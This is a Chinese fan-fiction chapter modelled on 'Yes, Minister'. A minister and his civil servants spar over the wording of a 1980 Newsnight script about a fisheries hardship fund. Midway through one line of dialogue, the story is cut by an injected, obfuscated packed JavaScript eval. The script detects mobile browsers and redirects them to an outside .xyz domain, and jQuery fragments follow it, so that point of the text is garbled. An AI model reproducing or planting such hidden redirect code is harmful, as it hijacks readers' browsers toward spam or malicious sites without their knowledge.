S00E02 《直播事故》 (The Newsnight Incident)
1980年2月4日，星期一。
午后，伦敦圣詹姆斯区，蓓尔美尔街（Pall Mall）的一家俱乐部里。
艾伯特·萨克维尔爵士（Sir Albert Sackville）靠在一张切斯特菲尔德沙发上，手中端着一杯拉弗格威士忌，冰块在琥珀色的液体中轻轻碰撞。
“那艘船是胜利号。”艾伯特忽然开口，他没有看坐在对面扶手椅里的阿利斯泰，目光凝视着壁炉上方一幅描绘特拉法加海战的油画。“纳尔逊的旗舰。一场伟大的胜利，但代价不菲，纳尔逊在甲板上中弹，最终殉职。有时候，一场战役的胜利者，未必能活着看到最终的和平。”
“一场精心计算的冒险，爵士。”阿利斯泰回应道，他端着一杯雪莉酒，“纳尔逊知道，打破传统的战列线，直接插入敌方舰队中央，是唯一能迅速取得决定性胜利的方法。高风险，高回报。”
艾伯特将目光从油画上移开，转向他：“说到‘打破战列线’，我听说，海德大臣打算在明晚的《新闻之夜》上，上演一出他自己的特拉法加？”
“大臣认为，这是一个澄清协同协调部职能，并主动引导公众理解的必要机会。”阿利斯泰重复了他在正式文件中准备好的标准说辞。
“引导舆论？”艾伯特晃了晃酒杯，“我今天中午和财政部的道格拉斯·安森爵士（Sir Douglas Anson）一起用的午餐。他似乎对明晚的节目……抱有相当大的兴趣，尤其是关于那个补助基金的部分。”
“道格拉斯爵士的关注是意料之中的。”阿利斯泰平静道，“任何可能对公共开支产生影响的提议，都理应受到财政部的审视。大臣的意图，是将这场审视，从闭门的委员会，延伸到更广阔的公共领域。”
“听起来很符合自由党的作风。”艾伯特评价着，这个词在他口中不带任何褒贬，只是一种分类，“将内部的、程序性的事务，变成公开的、政治性的表演。这在维系政府这台机器的平稳运行时，通常被认为是一个……不确定因素。”
“阿利斯泰，我看了你今早提交的风险评估，写得无懈可击。但那份报告，是写给记录看的。现在，我想听的是……写给俱乐部里的人听的版本。”他抿了一口威士忌。
阿利斯泰放下酒杯，身体微微前倾。
“我已经为所有可预见的情况，准备了应对预案（I have prepared contingency arrangements for every likely eventuality）。”他缓缓开口，将声音压低了些，一个刚好能被艾伯特清晰听到，又不会传到远处的音量，“协同协调部的私人秘书处已经草拟了数个版本的官方声明稿，以应对大臣可能出现的不同程度的……即兴发挥。同时，我也与唐宁街新闻办的负责人进行了非正式沟通，确保无论发生什么，我们都能在第一时间，统一对外解释的口径。”
“听起来你准备了一张渔网，准备随时打捞可能落水的船长。”
“我的职责，是确保大臣在履行其政治职责时，不会对政府这部机器的平稳运行，造成不必要的干扰，艾伯特爵士。无论这份职责是以何种方式履行的。”
艾伯特看着他，突然转移了话题：“首相后天的日程很满，上午是经济事务委员会，下午要会见到访的德国外长。我不希望他因为一些可以被避免的媒体噪音，分散精力。”
“当然，艾伯特爵士。”阿利斯泰轻轻点头，“我会确保，呈现在首相面前的，将是一份关于‘政府积极回应民意’的简报，而非一份关于‘内阁纪律问题’的紧急报告。”
“那就好，阿利。”艾伯特也缓缓点了点头，将杯中剩余的威士忌一饮而尽，“我该回去了。”
他站起身，视线扫过阿利斯泰未曾动过的雪利酒，又回到阿利斯泰脸上。
“这里的雪利酒，品质一如既往的稳定。”他最后说道，“别浪费了。”
——
——
——
下午，一份微调后纳入了大臣本人“勇敢提议”的标准安全稿被放到了查尔斯的办公桌上。
阿利斯泰信守承诺，将他要求的两个要点——跟进康沃尔承诺和宣布成立研究小组——都嵌入了其中。但它们被包裹在层层叠叠的限定词、免责声明和程序性术语之中。
查尔斯撑着下颚，一页一页翻阅着这份文件。
“西里尔。”他头也不抬地开口，“‘协同协调部致力于在现有框架内，通过优化跨部门沟通渠道，为政府整体决策提供支持性信息参考，以期达成更具前瞻性的政策协同效应。’你觉得，如果我照着这份稿子念，观众是会先睡着，还是会先换台？”
西里尔站在一旁，手里拿着另一份副本：“大臣，我想某种程度上来说，如果观众真的睡着，或许可以被视为一种……策略上的成功？至少，那将有效避免一些可能引发争议的解读。”
查尔斯发出一声短促的鼻音，听不出是赞同还是嘲讽，他将文件往后翻了好几页。
“这个‘我们已开始与相关部门进行建设性的初步沟通……发出信息征询备忘录……’我的目标，是告诉人们我们到底在做什么，以及为什么要做。‘建设性的初步沟通’？‘信息征询’？听起来就像我们只是和他们喝了杯茶。我要用‘质询（challenge）’。”
“大臣，‘质询（challenge）’这个词……”西里尔谨慎挑选着用词，“在白厅的语境中，质询的主要用途是质疑一项政策、一个决定，或是某个立场。它带有强烈的对抗性和政治意味，但并不直接指向一个正式的程序性提问。如果我们贸然使用，可能会被视为对其他部门的公开指控，从而引发他们的集体抵制。而‘信息征询（requesting information）’，虽然听起来温和，却是一个无法被规避的官方程序。他们可以拖延，但不能无视。它……更有操作性。”
“拖延？我要的是效率，我们至少要用‘问询（inquiry）’。”查尔斯皱着眉说。
“大臣，‘问询（inquiry）’一词，同样带有强烈的调查意味，通常与议会特别委员会或司法调查相关联，用于对某项失败的政策或事故进行回溯性审查。”西里尔继续斟酌道，“我们的行动是前瞻性的，旨在‘收集信息以优化未来政策’，而非‘调查过往失职’。”
他提出了一个替代方案：“或许我们可以使用‘查询（enquiries）’，它能体现此事的正式性，还能准确反映我们当前的程序状态，也不容易给其他部门提供攻击我们‘越权’的口实。”
“我要的是一个能让他们感到压力的词，西里尔，一个能让他们知道我们是认真的词。不是软弱的‘征询’或者‘查询’。”查尔斯的手指在文件上轻轻敲击着，“‘正式询问（formal questioning）’？一个提问。总不至于一个新设的、负责‘协同协调’的部门，连向其他部门‘提问’的权力都没有吧？我不是在调查他们的过去，我是在质问他们的现状，以及他们为未来做了什么准备。”
这是一个政治家的词，而非文官的词。它不像“问询（inquiry）”那样具有特定的法律框架，但比“查询（enquiries）”要主动和尖锐得多。它暗示着一种持续的、要求明确答案的姿态，带有强烈的法律或警察审讯的口语色彩，尤其在公众面前，极易被其他部门解读为一种挑衅，但同时也可以被辩解为“只是在提问”。
西里尔在心中快速评估着这个词组潜在的冲击力。
“大臣，‘正式询问（formal questioning）’并不是一个常见的部门间公文用语。”他组织着语言，“或许我们可以改变一下语法结构。我们可以说，DSC已经‘向相关部门发出了一系列正式问题清单（issued a formal list of questions）’。”
他顿了顿补充道：“‘问题清单（list of questions）’是中性的名词。但‘发出（issued）’这个动作，赋予了它不可忽视的官方分量。而‘正式（formal）’的定性，则确保了其被列入正规流程，难以被轻易搁置或规避。此举完全符合文官体系的规范，确保了程序上的无懈可击，同时亦能清晰传达我部门对此事的重视与期望。”
查尔斯的手指再度敲击着文件，最终点了点头。
“很好，西里尔，就用这个吧。”他拿起笔在文件上修改，接着将文件翻到关于补助基金的部分。
“‘……为积极回应地方社区的合理关切，并以审慎负责的态度探索潜在的政策优化路径，协同协调部将在跨部门协商的基础上，牵头成立一个可行性研究小组，就设立‘渔业社区紧急困难补助基金’的可能性，进行为期不少于六个月的全面审慎评估。’”查尔斯念完，用手指点了点那句“不少于六个月”。
“六个月？还是不少于？这恐怕会直接变成遥遥无期吧。”他再度皱起眉，“这就是阿利斯泰的‘Yes’？”
查尔斯不等西里尔的回复，径直拿起桌上的电话听筒，拨通了隔壁办公室的内线电话。
这次的电话没有被接起，但那扇连接隔壁的门却被敲响打开了。
他的代理常任秘书走进来。
“下午好，大臣。”
查尔斯放下听筒，往后靠在椅背上，“我正在欣赏你的杰作，阿利斯泰，我准备对它提出几点建设性的修改意见。”
他拿起那份安全稿，翻到关于康沃尔承诺的部分。
“这里……”他指着自己刚刚写下的修改，“你说我们‘已开始与相关部门进行建设性的初步沟通’，这太软弱了。我要在节目上，明确提及我们已经向环境部、国防部和财政部发出了‘一系列正式问题清单（a formal list of questions）’。这不是长期承诺，这是已经发生的行动。”
“大臣，按照惯例。部门间的内部沟通细节，通常不宜在公开媒体上过早披露
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347597|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，以免对相关部门造成不必要的压力，或被外界解读为部门间存在分歧。”阿利斯泰走到查尔斯的办公桌前，但没有坐下。
“我不会披露细节。”查尔斯说，“我只会陈述一个事实——协同协调部正在履行其职责。这难道不是事实吗？阿利斯泰。还是说，你让西里尔发出的那些备忘录，只是另一种形式的……仪式？”
阿利斯泰没有直接回答这个问题：“提及已发出的问题清单，确实可以展现部门的行动力。但主持人很可能会追问，‘如果那些部门不回应，或者回应无法令您满意呢？’您将如何作答？”
“我会回答：‘我相信我的内阁同僚们和他们领导下的优秀文官，会本着服务公众的共同目标，给予积极且富有建设性的回应。这正是本届联合政府协同精神的体现。’”查尔斯几乎是立刻给出了答案，他显然早已预演过这一步。
“一个非常得体的回答，大臣。”阿利斯泰承认道，这相当于同意了查尔斯的第一个修改要求。
“很好。”查尔斯又将文件翻回补助基金的那页，“那么，关于第二点——渔业社区紧急困难补助基金。我们都知道，如果按照正常程序，这个‘可行性研究’的申请，会在财政部的收文篮里躺上几个月，然后被一份长达数十页，内容引用了无数先例和法规的备忘录，以预算限制和权责不明为由，礼貌地驳回。所以我打算用舆论倒逼程序，在节目上宣布这个研究小组的成立，但是……”
他微微前倾，十指交叉搭在了桌上：“你给出的‘不少于六个月’的评估直接期判了它死刑，这就是你给我的支持？”
“‘不少于六个月’是写给财政部看的，大臣。”阿利斯泰平静道，“这正是确保这项提议能够成功，而非仅仅被提出的必要时间框架。它向财政部保证，我们尊重他们的审批流程，无意发动预算突袭。这份保证，能换取他们在此刻的默许，让我们得以将研究小组这个事实先行确立下来。”
“一个用六个月缓刑期来换取的‘事实’？”
“一旦研究启动，它就拥有了自身的生命力。它会产生文件，召开会议，形成初步报告。它会成为一个……系统内的既定事实。大臣，想要终止一个已经存在的项目，比否决一个尚未开始的提议，在程序上要复杂得多。”
查尔斯松开手，一只手的手指轻轻敲击着，另一只手则抬起支撑住下巴。
“一个……相当巧妙的安排，阿利斯泰。”他沉默了片刻后开口。
“所以，我得在全国观众面前，念出这个听起来像在判决……的时间？”
“No, Minister.在直播镜头前，您只需要宣布研究的启动。”阿利斯泰微微勾起嘴角，“您可以选择不提及这个写在内部文件上的具体周期。”
“不提及？那主持人问起来呢？”
“您可以用您最擅长的方式回答，大臣。”他的声音里带上了些引导的意味，“您可以说：‘对于那些正面临困境的人来说，任何等待都是漫长的。因此，我已责成我的部门，以最快的速度推进这项研究。我们的目标，是尽快拿出一个切实可行的方案，提交给内阁进行决策。’”
“我明白了。”查尔斯停顿了一下，“我接受你的逻辑，阿利斯泰。对外，对财政部，对议会记录，时间框架是‘不少于六个月’。这是我们展现‘尊重程序’的姿态，我同意。”
“但是——”
他迎上阿利斯泰灰绿色的眼睛，一字一顿的补充道：“三个月。我要一份关于基金设立模式、资金来源初步探讨以及法律障碍分析的中期进展报告。我需要一个具体可以公开的时间节点，一个能向媒体和渔民展示我们正在行动的证据，如果采访中主持人询问这点。”
这在程序上是合理的，它不会触及最终的预算审批，但足以构成一个让财政部无法忽视的政治压力点。
“Yes, Minister. ”阿利斯泰缓缓点头，“我们可以将‘三个月后提交中期进展报告’这一条款，写入研究小组的职权范围说明中。”
他看着查尔斯拿起笔，在文件相应位置上写下一行字：
“并将在三个月内，向公众发布一份中期进展报告。”
句点落下，但紧接着笔尖又移动到一旁的空白处继续。
“还有。”查尔斯将文件转向他，点了点自己刚写完的补充要求，“对内，对我。我需要一份‘关于设立补助基金的初步可行性与框架建议’的内部报告，六个星期之内，放在我的办公桌上。”
“这不用于公开，不用于提交，仅用于我作为大臣，对这个研究小组进行第一阶段的内部评估。我想，在一个为期六个月的项目启动六周后，要求一份初步进展报告，这在你既定章程里，应该算不上是越权行为吧？”
“如您所愿，大臣。”
“很好。”查尔斯靠回椅背，他转头看向一旁降低了自己存在感的PPS，“那么，西里尔，请根据我们刚刚达成的共识，为我重新草拟一份最终版的安全稿。确保每一个词都精准无误。”
“Yes, Minister.”